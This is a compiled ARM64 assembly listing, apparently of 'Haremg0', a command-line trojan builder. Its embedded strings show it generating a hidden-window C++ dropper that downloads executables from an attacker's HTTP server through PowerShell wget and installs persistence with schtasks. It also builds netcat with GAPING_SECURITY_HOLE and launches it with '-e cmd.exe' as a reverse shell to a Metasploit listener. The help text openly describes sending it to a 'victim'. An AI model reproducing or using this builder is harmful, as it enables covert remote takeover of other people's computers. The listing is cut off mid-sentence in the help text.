mov x2, #255
bl ___strcpy_chk
b LBB7_38
LBB7_38:
b LBB7_39
LBB7_39:
b LBB7_40
LBB7_40:
add x0, sp, #2344
bl _strlen
subs x8, x0, #0
cset w8, ls
tbnz w8, #0, LBB7_44
b LBB7_41
LBB7_41:
add x0, sp, #1579
bl _strlen
subs x8, x0, #0
cset w8, ls
tbnz w8, #0, LBB7_44
b LBB7_42
LBB7_42:
add x0, sp, #1324
bl _strlen
subs x8, x0, #0
cset w8, ls
tbnz w8, #0, LBB7_44
b LBB7_43
LBB7_43:
mov w8, #1
str w8, [sp, #284]
b LBB7_45
LBB7_44:
adrp x0, l_.str.47@PAGE
add x0, x0, l_.str.47@PAGEOFF
bl _printf
str wzr, [sp, #300]
b LBB7_128
LBB7_45:
b LBB7_46
LBB7_46:
ldr w8, [sp, #284]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB7_126
b LBB7_47
LBB7_47:
b LBB7_48
LBB7_48: ; =>This Inner Loop Header: Depth=1
sub x0, x29, #234
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
mov w9, #1
str w9, [sp, #268] ; 4-byte Folded Spill
tbnz w8, #0, LBB7_52
b LBB7_49
LBB7_49: ; in Loop: Header=BB7_48 Depth=1
sub x0, x29, #234
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
mov w9, #1
str w9, [sp, #268] ; 4-byte Folded Spill
tbnz w8, #0, LBB7_52
b LBB7_50
LBB7_50: ; in Loop: Header=BB7_48 Depth=1
sub x0, x29, #234
adrp x1, l_.str.48@PAGE
add x1, x1, l_.str.48@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
mov w9, #1
str w9, [sp, #268] ; 4-byte Folded Spill
tbnz w8, #0, LBB7_52
b LBB7_51
LBB7_51: ; in Loop: Header=BB7_48 Depth=1
sub x0, x29, #234
adrp x1, l_.str.49@PAGE
add x1, x1, l_.str.49@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
str w8, [sp, #268] ; 4-byte Folded Spill
b LBB7_52
LBB7_52: ; in Loop: Header=BB7_48 Depth=1
ldr w8, [sp, #268] ; 4-byte Folded Reload
tbz w8, #0, LBB7_125
b LBB7_53
LBB7_53: ; in Loop: Header=BB7_48 Depth=1
adrp x0, l_.str.50@PAGE
add x0, x0, l_.str.50@PAGEOFF
sub x1, x29, #234
str x1, [sp, #256] ; 8-byte Folded Spill
mov w2, #10
bl _get
ldr x0, [sp, #256] ; 8-byte Folded Reload
adrp x1, l_.str.51@PAGE
add x1, x1, l_.str.51@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB7_55
b LBB7_54
LBB7_54: ; in Loop: Header=BB7_48 Depth=1
sub x0, x29, #234
adrp x1, l_.str.52@PAGE
add x1, x1, l_.str.52@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB7_56
b LBB7_55
LBB7_55: ; in Loop: Header=BB7_48 Depth=1
adrp x0, l_.str.53@PAGE
add x0, x0, l_.str.53@PAGEOFF
bl _printf
b LBB7_124
LBB7_56: ; in Loop: Header=BB7_48 Depth=1
sub x0, x29, #234
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB7_58
b LBB7_57
LBB7_57: ; in Loop: Header=BB7_48 Depth=1
sub x0, x29, #234
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB7_110
b LBB7_58
LBB7_58:
adrp x0, l_.str.54@PAGE
add x0, x0, l_.str.54@PAGEOFF
add x1, sp, #2599
str x1, [sp, #248] ; 8-byte Folded Spill
mov w2, #255
bl _get
ldr x0, [sp, #248] ; 8-byte Folded Reload
bl _strlen
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB7_60
b LBB7_59
LBB7_59:
add x0, sp, #2599
adrp x1, l_.str.55@PAGE
add x1, x1, l_.str.55@PAGEOFF
mov x2, #255
bl ___strcpy_chk
b LBB7_60
LBB7_60:
adrp x0, l_.str.56@PAGE
add x0, x0, l_.str.56@PAGEOFF
add x1, sp, #814
str x1, [sp, #240] ; 8-byte Folded Spill
mov w2, #255
bl _get
ldr x0, [sp, #240] ; 8-byte Folded Reload
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB7_62
b LBB7_61
LBB7_61:
add x0, sp, #814
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB7_94
b LBB7_62
LBB7_62:
adrp x0, l_.str.57@PAGE
add x0, x0, l_.str.57@PAGEOFF
add x1, sp, #1069
str x1, [sp, #232] ; 8-byte Folded Spill
mov w2, #255
bl _get
ldr x0, [sp, #232] ; 8-byte Folded Reload
bl _strlen
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB7_64
b LBB7_63
LBB7_63:
add x0, sp, #1069
adrp x1, l_.str.58@PAGE
add x1, x1, l_.str.58@PAGEOFF
mov x2, #255
bl ___strcpy_chk
b LBB7_64
LBB7_64:
b LBB7_65
LBB7_65: ; =>This Inner Loop Header: Depth=1
add x0, sp, #559
adrp x1, l_.str.59@PAGE
add x1, x1, l_.str.59@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
mov w9, #1
str w9, [sp, #228] ; 4-byte Folded Spill
tbnz w8, #0, LBB7_71
b LBB7_66
LBB7_66: ; in Loop: Header=BB7_65 Depth=1
add x0, sp, #559
adrp x1, l_.str.60@PAGE
add x1, x1, l_.str.60@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
mov w9, #1
str w9, [sp, #228] ; 4-byte Folded Spill
tbnz w8, #0, LBB7_71
b LBB7_67
LBB7_67: ; in Loop: Header=BB7_65 Depth=1
add x0, sp, #559
adrp x1, l_.str.61@PAGE
add x1, x1, l_.str.61@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
mov w9, #1
str w9, [sp, #228] ; 4-byte Folded Spill
tbnz w8, #0, LBB7_71
b LBB7_68
LBB7_68: ; in Loop: Header=BB7_65 Depth=1
add x0, sp, #559
adrp x1, l_.str.62@PAGE
add x1, x1, l_.str.62@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
mov w9, #1
str w9, [sp, #228] ; 4-byte Folded Spill
tbnz w8, #0, LBB7_71
b LBB7_69
LBB7_69: ; in Loop: Header=BB7_65 Depth=1
add x0, sp, #559
adrp x1, l_.str.63@PAGE
add x1, x1, l_.str.63@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
mov w9, #1
str w9, [sp, #228] ; 4-byte Folded Spill
tbnz w8, #0, LBB7_71
b LBB7_70
LBB7_70: ; in Loop: Header=BB7_65 Depth=1
add x0, sp, #559
adrp x1, l_.str.64@PAGE
add x1, x1, l_.str.64@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
str w8, [sp, #228] ; 4-byte Folded Spill
b LBB7_71
LBB7_71: ; in Loop: Header=BB7_65 Depth=1
ldr w8, [sp, #228] ; 4-byte Folded Reload
tbz w8, #0, LBB7_93
b LBB7_72
LBB7_72: ; in Loop: Header=BB7_65 Depth=1
adrp x0, l_.str.65@PAGE
add x0, x0, l_.str.65@PAGEOFF
bl _printf
adrp x0, l_.str.66@PAGE
add x0, x0, l_.str.66@PAGEOFF
bl _printf
adrp x0, l_.str.67@PAGE
add x0, x0, l_.str.67@PAGEOFF
bl _printf
adrp x0, l_.str.68@PAGE
add x0, x0, l_.str.68@PAGEOFF
bl _printf
adrp x0, l_.str.69@PAGE
add x0, x0, l_.str.69@PAGEOFF
bl _printf
adrp x0, l_.str.70@PAGE
add x0, x0, l_.str.70@PAGEOFF
bl _printf
adrp x0, l_.str.71@PAGE
add x0, x0, l_.str.71@PAGEOFF
add x1, sp, #559
str x1, [sp, #216] ; 8-byte Folded Spill
mov w2, #255
bl _get
ldr x0, [sp, #216] ; 8-byte Folded Reload
bl _strlen
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB7_74
b LBB7_73
LBB7_73:
add x0, sp, #559
adrp x1, l_.str.72@PAGE
add x1, x1, l_.str.72@PAGEOFF
mov x2, #255
bl ___strcpy_chk
b LBB7_93
LBB7_74: ; in Loop: Header=BB7_65 Depth=1
add x0, sp, #559
adrp x1, l_.str.59@PAGE
add x1, x1, l_.str.59@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB7_76
b LBB7_75
LBB7_75:
add x0, sp, #559
str x0, [sp, #192] ; 8-byte Folded Spill
adrp x1, l_.str.73@PAGE
add x1, x1, l_.str.73@PAGEOFF
mov x2, #255
str x2, [sp, #208] ; 8-byte Folded Spill
bl ___strcpy_chk
adrp x0, l_.str.74@PAGE
add x0, x0, l_.str.74@PAGEOFF
add x1, sp, #304
str x1, [sp, #200] ; 8-byte Folded Spill
mov w2, #10
bl _get
ldr x0, [sp, #192] ; 8-byte Folded Reload
ldr x1, [sp, #200] ; 8-byte Folded Reload
ldr x2, [sp, #208] ; 8-byte Folded Reload
bl ___strcat_chk
b LBB7_93
LBB7_76: ; in Loop: Header=BB7_65 Depth=1
add x0, sp, #559
adrp x1, l_.str.60@PAGE
add x1, x1, l_.str.60@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB7_78
b LBB7_77
LBB7_77:
add x0, sp, #559
str x0, [sp, #168] ; 8-byte Folded Spill
adrp x1, l_.str.75@PAGE
add x1, x1, l_.str.75@PAGEOFF
mov x2, #255
str x2, [sp, #184] ; 8-byte Folded Spill
bl ___strcpy_chk
adrp x0, l_.str.76@PAGE
add x0, x0, l_.str.76@PAGEOFF
add x1, sp, #304
str x1, [sp, #176] ; 8-byte Folded Spill
mov w2, #10
bl _get
ldr x0, [sp, #168] ; 8-byte Folded Reload
ldr x1, [sp, #176] ; 8-byte Folded Reload
ldr x2, [sp, #184] ; 8-byte Folded Reload
bl ___strcat_chk
b LBB7_93
LBB7_78: ; in Loop: Header=BB7_65 Depth=1
add x0, sp, #559
adrp x1, l_.str.61@PAGE
add x1, x1, l_.str.61@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB7_80
b LBB7_79
LBB7_79:
add x0, sp, #559
str x0, [sp, #144] ; 8-byte Folded Spill
adrp x1, l_.str.77@PAGE
add x1, x1, l_.str.77@PAGEOFF
mov x2, #255
str x2, [sp, #160] ; 8-byte Folded Spill
bl ___strcpy_chk
adrp x0, l_.str.78@PAGE
add x0, x0, l_.str.78@PAGEOFF
add x1, sp, #304
str x1, [sp, #152] ; 8-byte Folded Spill
mov w2, #10
bl _get
ldr x0, [sp, #144] ; 8-byte Folded Reload
ldr x1, [sp, #152] ; 8-byte Folded Reload
ldr x2, [sp, #160] ; 8-byte Folded Reload
bl ___strcat_chk
b LBB7_93
LBB7_80: ; in Loop: Header=BB7_65 Depth=1
add x0, sp, #559
adrp x1, l_.str.62@PAGE
add x1, x1, l_.str.62@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB7_82
b LBB7_81
LBB7_81:
add x0, sp, #559
adrp x1, l_.str.79@PAGE
add x1, x1, l_.str.79@PAGEOFF
mov x2, #255
bl ___strcpy_chk
b LBB7_93
LBB7_82: ; in Loop: Header=BB7_65 Depth=1
add x0, sp, #559
adrp x1, l_.str.63@PAGE
add x1, x1, l_.str.63@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB7_84
b LBB7_83
LBB7_83:
add x0, sp, #559
adrp x1, l_.str.80@PAGE
add x1, x1, l_.str.80@PAGEOFF
mov x2, #255
bl ___strcpy_chk
b LBB7_93
LBB7_84: ; in Loop: Header=BB7_65 Depth=1
add x0, sp, #559
adrp x1, l_.str.64@PAGE
add x1, x1, l_.str.64@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB7_86
b LBB7_85
LBB7_85:
add x0, sp, #559
str x0, [sp, #120] ; 8-byte Folded Spill
adrp x1, l_.str.81@PAGE
add x1, x1, l_.str.81@PAGEOFF
mov x2, #255
str x2, [sp, #136] ; 8-byte Folded Spill
bl ___strcpy_chk
adrp x0, l_.str.82@PAGE
add x0, x0, l_.str.82@PAGEOFF
add x1, sp, #304
str x1, [sp, #128] ; 8-byte Folded Spill
mov w2, #10
bl _get
ldr x0, [sp, #120] ; 8-byte Folded Reload
ldr x1, [sp, #128] ; 8-byte Folded Reload
ldr x2, [sp, #136] ; 8-byte Folded Reload
bl ___strcat_chk
b LBB7_93
LBB7_86: ; in Loop: Header=BB7_65 Depth=1
b LBB7_87
LBB7_87: ; in Loop: Header=BB7_65 Depth=1
b LBB7_88
LBB7_88: ; in Loop: Header=BB7_65 Depth=1
b LBB7_89
LBB7_89: ; in Loop: Header=BB7_65 Depth=1
b LBB7_90
LBB7_90: ; in Loop: Header=BB7_65 Depth=1
b LBB7_91
LBB7_91: ; in Loop: Header=BB7_65 Depth=1
b LBB7_92
LBB7_92: ; in Loop: Header=BB7_65 Depth=1
b LBB7_65
LBB7_93:
b LBB7_94
LBB7_94:
adrp x0, l_.str.83@PAGE
add x0, x0, l_.str.83@PAGEOFF
add x1, sp, #2344
mov w2, #255
bl _get
b LBB7_95
LBB7_95: ; =>This Inner Loop Header: Depth=1
add x0, sp, #2344
bl _strlen
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB7_97
b LBB7_96
LBB7_96: ; in Loop: Header=BB7_95 Depth=1
adrp x0, l_.str.84@PAGE
add x0, x0, l_.str.84@PAGEOFF
add x1, sp, #2344
mov w2, #255
bl _get
b LBB7_95
LBB7_97:
adrp x0, l_.str.85@PAGE
add x0, x0, l_.str.85@PAGEOFF
add x1, sp, #2089
mov w2, #255
bl _get
b LBB7_98
LBB7_98: ; =>This Inner Loop Header: Depth=1
add x0, sp, #2089
bl _strlen
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB7_100
b LBB7_99
LBB7_99: ; in Loop: Header=BB7_98 Depth=1
adrp x0, l_.str.85@PAGE
add x0, x0, l_.str.85@PAGEOFF
add x1, sp, #2089
mov w2, #255
bl _get
b LBB7_98
LBB7_100:
adrp x0, l_.str.86@PAGE
add x0, x0, l_.str.86@PAGEOFF
add x1, sp, #1834
mov w2, #255
bl _get
b LBB7_101
LBB7_101: ; =>This Inner Loop Header: Depth=1
add x0, sp, #1834
bl _strlen
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB7_103
b LBB7_102
LBB7_102: ; in Loop: Header=BB7_101 Depth=1
adrp x0, l_.str.86@PAGE
add x0, x0, l_.str.86@PAGEOFF
add x1, sp, #1834
mov w2, #255
bl _get
b LBB7_101
LBB7_103:
adrp x0, l_.str.87@PAGE
add x0, x0, l_.str.87@PAGEOFF
add x1, sp, #1579
mov w2, #25
bl _get
b LBB7_104
LBB7_104: ; =>This Inner Loop Header: Depth=1
add x0, sp, #1579
bl _strlen
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB7_106
b LBB7_105
LBB7_105: ; in Loop: Header=BB7_104 Depth=1
adrp x0, l_.str.87@PAGE
add x0, x0, l_.str.87@PAGEOFF
add x1, sp, #1579
mov w2, #25
bl _get
b LBB7_104
LBB7_106:
adrp x0, l_.str.88@PAGE
add x0, x0, l_.str.88@PAGEOFF
add x1, sp, #1324
mov w2, #10
bl _get
b LBB7_107
LBB7_107: ; =>This Inner Loop Header: Depth=1
add x0, sp, #1324
bl _strlen
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB7_109
b LBB7_108
LBB7_108: ; in Loop: Header=BB7_107 Depth=1
add x0, sp, #1324
adrp x1, l_.str.89@PAGE
add x1, x1, l_.str.89@PAGEOFF
mov x2, #255
bl ___strcpy_chk
b LBB7_107
LBB7_109:
b LBB7_125
LBB7_110: ; in Loop: Header=BB7_48 Depth=1
sub x0, x29, #234
adrp x1, l_.str.48@PAGE
add x1, x1, l_.str.48@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB7_112
b LBB7_111
LBB7_111: ; in Loop: Header=BB7_48 Depth=1
sub x0, x29, #234
adrp x1, l_.str.49@PAGE
add x1, x1, l_.str.49@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB7_122
b LBB7_112
LBB7_112:
add x0, sp, #2599
adrp x1, l_.str.55@PAGE
add x1, x1, l_.str.55@PAGEOFF
mov x2, #255
str x2, [sp, #112] ; 8-byte Folded Spill
bl ___strcpy_chk
ldr x2, [sp, #112] ; 8-byte Folded Reload
add x0, sp, #2089
adrp x1, l_.str.37@PAGE
add x1, x1, l_.str.37@PAGEOFF
bl ___strcpy_chk
ldr x2, [sp, #112] ; 8-byte Folded Reload
add x0, sp, #1834
adrp x1, l_.str.90@PAGE
add x1, x1, l_.str.90@PAGEOFF
bl ___strcpy_chk
ldr x2, [sp, #112] ; 8-byte Folded Reload
add x0, sp, #1069
adrp x1, l_.str.58@PAGE
add x1, x1, l_.str.58@PAGEOFF
bl ___strcpy_chk
ldr x2, [sp, #112] ; 8-byte Folded Reload
add x0, sp, #559
adrp x1, l_.str.91@PAGE
add x1, x1, l_.str.91@PAGEOFF
bl ___strcpy_chk
adrp x0, l_.str.84@PAGE
add x0, x0, l_.str.84@PAGEOFF
add x1, sp, #2344
mov w2, #255
bl _get
b LBB7_113
LBB7_113: ; =>This Inner Loop Header: Depth=1
add x0, sp, #2344
bl _strlen
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB7_115
b LBB7_114
LBB7_114: ; in Loop: Header=BB7_113 Depth=1
adrp x0, l_.str.84@PAGE
add x0, x0, l_.str.84@PAGEOFF
add x1, sp, #2344
mov w2, #255
bl _get
b LBB7_113
LBB7_115:
adrp x0, l_.str.87@PAGE
add x0, x0, l_.str.87@PAGEOFF
add x1, sp, #1579
mov w2, #25
bl _get
b LBB7_116
LBB7_116: ; =>This Inner Loop Header: Depth=1
add x0, sp, #1579
bl _strlen
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB7_118
b LBB7_117
LBB7_117: ; in Loop: Header=BB7_116 Depth=1
adrp x0, l_.str.87@PAGE
add x0, x0, l_.str.87@PAGEOFF
add x1, sp, #1579
mov w2, #25
bl _get
b LBB7_116
LBB7_118:
adrp x0, l_.str.88@PAGE
add x0, x0, l_.str.88@PAGEOFF
add x1, sp, #1324
mov w2, #10
bl _get
b LBB7_119
LBB7_119: ; =>This Inner Loop Header: Depth=1
add x0, sp, #1324
bl _strlen
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB7_121
b LBB7_120
LBB7_120: ; in Loop: Header=BB7_119 Depth=1
add x0, sp, #1324
adrp x1, l_.str.89@PAGE
add x1, x1, l_.str.89@PAGEOFF
mov x2, #255
bl ___strcpy_chk
b LBB7_119
LBB7_121:
b LBB7_125
LBB7_122: ; in Loop: Header=BB7_48 Depth=1
b LBB7_123
LBB7_123: ; in Loop: Header=BB7_48 Depth=1
b LBB7_124
LBB7_124: ; in Loop: Header=BB7_48 Depth=1
b LBB7_48
LBB7_125:
b LBB7_127
LBB7_126:
add x0, sp, #2599
adrp x1, l_.str.55@PAGE
add x1, x1, l_.str.55@PAGEOFF
mov x2, #255
str x2, [sp, #104] ; 8-byte Folded Spill
bl ___strcpy_chk
ldr x2, [sp, #104] ; 8-byte Folded Reload
add x0, sp, #2089
adrp x1, l_.str.37@PAGE
add x1, x1, l_.str.37@PAGEOFF
bl ___strcpy_chk
ldr x2, [sp, #104] ; 8-byte Folded Reload
add x0, sp, #1834
adrp x1, l_.str.90@PAGE
add x1, x1, l_.str.90@PAGEOFF
bl ___strcpy_chk
ldr x2, [sp, #104] ; 8-byte Folded Reload
add x0, sp, #1069
adrp x1, l_.str.58@PAGE
add x1, x1, l_.str.58@PAGEOFF
bl ___strcpy_chk
ldr x2, [sp, #104] ; 8-byte Folded Reload
add x0, sp, #559
adrp x1, l_.str.91@PAGE
add x1, x1, l_.str.91@PAGEOFF
bl ___strcpy_chk
b LBB7_127
LBB7_127:
mov x9, sp
add x8, sp, #2599
str x8, [sp, #48] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.92@PAGE
add x0, x0, l_.str.92@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #2344
str x8, [sp, #88] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.93@PAGE
add x0, x0, l_.str.93@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #2089
str x8, [sp, #72] ; 8-byte Folded Spill
str x8, [x9]
add x8, sp, #1834
str x8, [sp, #80] ; 8-byte Folded Spill
str x8, [x9, #8]
adrp x0, l_.str.94@PAGE
add x0, x0, l_.str.94@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #1579
str x8, [sp, #56] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.95@PAGE
add x0, x0, l_.str.95@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #1324
str x8, [sp, #64] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.96@PAGE
add x0, x0, l_.str.96@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #814
str x8, [sp, #40] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.97@PAGE
add x0, x0, l_.str.97@PAGEOFF
bl _printf
ldr x4, [sp, #40] ; 8-byte Folded Reload
ldr x2, [sp, #72] ; 8-byte Folded Reload
ldr x3, [sp, #80] ; 8-byte Folded Reload
ldr x1, [sp, #88] ; 8-byte Folded Reload
ldr x0, [sp, #48] ; 8-byte Folded Reload
add x5, sp, #1069
add x6, sp, #559
sub x7, x29, #224
str x7, [sp, #96] ; 8-byte Folded Spill
bl _generatePayload
ldr x0, [sp, #48] ; 8-byte Folded Reload
ldr x1, [sp, #56] ; 8-byte Folded Reload
ldr x2, [sp, #64] ; 8-byte Folded Reload
ldr x4, [sp, #72] ; 8-byte Folded Reload
ldr x3, [sp, #80] ; 8-byte Folded Reload
bl _generateExtension
ldr x0, [sp, #80] ; 8-byte Folded Reload
bl _generateNc
ldr x12, [sp, #72] ; 8-byte Folded Reload
ldr x11, [sp, #80] ; 8-byte Folded Reload
ldr x10, [sp, #88] ; 8-byte Folded Reload
ldr x8, [sp, #96] ; 8-byte Folded Reload
mov x9, sp
str x12, [x9]
str x11, [x9, #8]
str x10, [x9, #16]
str x8, [x9, #24]
adrp x0, l_.str.98@PAGE
add x0, x0, l_.str.98@PAGEOFF
bl _printf
adrp x0, l_.str.99@PAGE
add x0, x0, l_.str.99@PAGEOFF
bl _scanf
str wzr, [sp, #300]
b LBB7_128
LBB7_128:
ldr w8, [sp, #300]
str w8, [sp, #36] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB7_130
b LBB7_129
LBB7_129:
bl ___stack_chk_fail
LBB7_130:
ldr w0, [sp, #36] ; 4-byte Folded Reload
add sp, sp, #3072
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%s"
l_.str.1: ; @.str.1
.asciz "Creating %s ...\n"
l_.str.2: ; @.str.2
.asciz "windres RES/RC/res_"
l_.str.3: ; @.str.3
.asciz ".rc -O coff -o RES/RC/res_TMP"
l_.str.4: ; @.str.4
.asciz "start /MIN g++ -static "
l_.str.5: ; @.str.5
.asciz " RES/RC/res_TMP -o OUTPUT/"
l_.str.6: ; @.str.6
.asciz ".exe"
l_.str.7: ; @.str.7
.asciz "RES/RC/res_TMP"
.section __TEXT,__const
_generateRandomString.alphanum: ; @generateRandomString.alphanum
.asciz "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
l___const.obfuscate.alphabet: ; @__const.obfuscate.alphabet
.asciz "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 .-><:'()/&^\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.section __TEXT,__cstring,cstring_literals
l_.str.8: ; @.str.8
.asciz "#include <iostream>\n#include <windows.h>\n#include <string>\nint main(int argc, char *argv[])\n{\nShowWindow(GetConsoleWindow(), SW_HIDE);\n"
l_.str.9: ; @.str.9
.asciz "w+"
l_.str.10: ; @.str.10
.asciz "std::string "
l_.str.11: ; @.str.11
.asciz " = \""
l_.str.12: ; @.str.12
.asciz "\";"
l_.str.13: ; @.str.13
.asciz "\n"
l_.str.14: ; @.str.14
.asciz "system(("
l_.str.15: ; @.str.15
.asciz "+"
l_.str.16: ; @.str.16
.asciz ").c_str());\nreturn 0;\n}"
l_.str.17: ; @.str.17
.asciz "c: & cd / & mkdir "
l_.str.18: ; @.str.18
.asciz " & cd "
l_.str.19: ; @.str.19
.asciz "y"
l_.str.20: ; @.str.20
.asciz "Y"
l_.str.21: ; @.str.21
.asciz " & schtasks /create /tn "
l_.str.22: ; @.str.22
.asciz " /tr "
l_.str.23: ; @.str.23
.asciz "/"
l_.str.24: ; @.str.24
.asciz ".exe "
l_.str.25: ; @.str.25
.asciz " /f "
l_.str.26: ; @.str.26
.asciz "& powershell.exe (wget 'http://"
l_.str.27: ; @.str.27
.asciz ".exe' -OutFile "
l_.str.28: ; @.str.28
.asciz ".exe) & powershell.exe (wget 'http://"
l_.str.29: ; @.str.29
.asciz ".exe) & "
l_.str.30: ; @.str.30
.asciz ".exe & exit"
l_.str.31: ; @.str.31
.asciz "c_TMP_PAYLOAD.cpp"
l_.str.32: ; @.str.32
.asciz "PAYLOAD"
l_.str.33: ; @.str.33
.asciz "START /MIN "
l_.str.34: ; @.str.34
.asciz " "
l_.str.35: ; @.str.35
.asciz " -e cmd.exe -d ^"
l_.str.36: ; @.str.36
.asciz "c_TMP_EXTENSION.cpp"
l_.str.37: ; @.str.37
.asciz "FILE_A"
l_.str.38: ; @.str.38
.asciz "gcc -w -DNDEBUG -DWIN32 -D_CONSOLE -DTELNET -DGAPING_SECURITY_HOLE RES/SRC/NC/getopt.c RES/SRC/NC/doexec.c RES/SRC/NC/netcat.c -s -lkernel32 -luser32 -lwsock32 -lwinmm -o OUTPUT/"
l_.str.39: ; @.str.39
.asciz ".___.__ .______ .______ ._______._____.___ ._____ \n"
l_.str.40: ; @.str.40
.asciz ": | \\ : \\ : __ \\ : .____/: |:_ ___\\ \n"
l_.str.41: ; @.str.41
.asciz "| : || . || \\____|| : _/\\ | \\ / || |___\n"
l_.str.42: ; @.str.42
.asciz "| . || : || : \\ | / \\| |\\/ || / |\n"
l_.str.43: ; @.str.43
.asciz "|___| ||___| || |___\\|_.: __/|___| | ||. __ |\n"
l_.str.44: ; @.str.44
.asciz " |___| |___||___| :/ |___| :/ |. |\n"
l_.str.45: ; @.str.45
.asciz " : :/ \n"
l_.str.46: ; @.str.46
.asciz " Created by mickdec. https://github.com/mickdec/Haremg0.B-cl\n\n"
.section __TEXT,__const
l___const.main.payload_name: ; @__const.main.payload_name
.asciz "PAYLOAD\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.section __TEXT,__cstring,cstring_literals
l_.str.47: ; @.str.47
.asciz "Input Error."
l_.str.48: ; @.str.48
.asciz "n"
l_.str.49: ; @.str.49
.asciz "N"
l_.str.50: ; @.str.50
.asciz "Do you want to do a full config ? [y/n] (type h hor help) : "
l_.str.51: ; @.str.51
.asciz "h"
l_.str.52: ; @.str.52
.asciz "H"
l_.str.53: ; @.str.53
.asciz "\nHaremg0 will automate the creation of trojan, you can edit everything instead of the system code who's sended to the victim.\nBefore lauching this application, please beware of some importants things :\n\n 1 - You will need an external server. in local or in WAN, it doesnt matter (if the victim is not in your local server network of course it can't access to the file ...)\n Apache, nginx, anything, if you can share files trough the IP it's fine. (Example : 10.0.0.1) you can provide your domain name of course.\n\n 2 - You will need a Listener, a server who listen for TCP connection. it could be a NodeJS server, a C server, it doesnt matter too.\n Of course it will be usefull if you can PIPE the cmd stdin for interacting with the \"victim\" i prefer a metasploit listener.\n Just use \"multi/handler\" set the payload \"windows\\shell\\reverse_tcp\\\", define your PORT and it will be fine.\n\nHaremg0 can be used as a CLI :\n -s (server) : Define your file provider server (ex : 10.0.0.1)\n -h (host) : Define your 